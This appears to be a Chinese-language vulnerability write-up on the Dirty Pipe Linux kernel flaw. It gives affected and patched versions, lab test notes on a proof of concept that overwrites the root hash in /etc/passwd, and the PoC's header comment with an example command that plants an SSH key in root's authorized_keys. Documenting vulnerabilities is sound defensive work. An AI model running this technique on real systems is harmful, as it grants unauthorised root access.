The Dirty Pipe Vulnerability
漏洞摘要
Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
Linux kernel 存在安全漏洞,该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。
它允许覆盖任意只读文件中的数据,非特权用户通过替换/etc/passwd文件中root用户的hash值达到权限提升的目的。
漏洞版本
Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
修复建议
该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复。
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

测试
1、实验环境使用最新版kali,内核版本符合要求,下载poc,目前内容是作者更到最新的,但是脚本在执行时密码虽然会被更改,但是并不会执行最后面的一段命令——自动还原/etc/passwd文件和切换到root身份。此时需要手动切换到root用户,密码被修改为aaron,如果需要改回去,使用cp /tmp/passwd.bak /etc/passwd命令还原备份文件即可。
2、可以下载使用该作者最早版本的poc,文章末尾放了,脚本中最后一段命令能被成功执行

*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
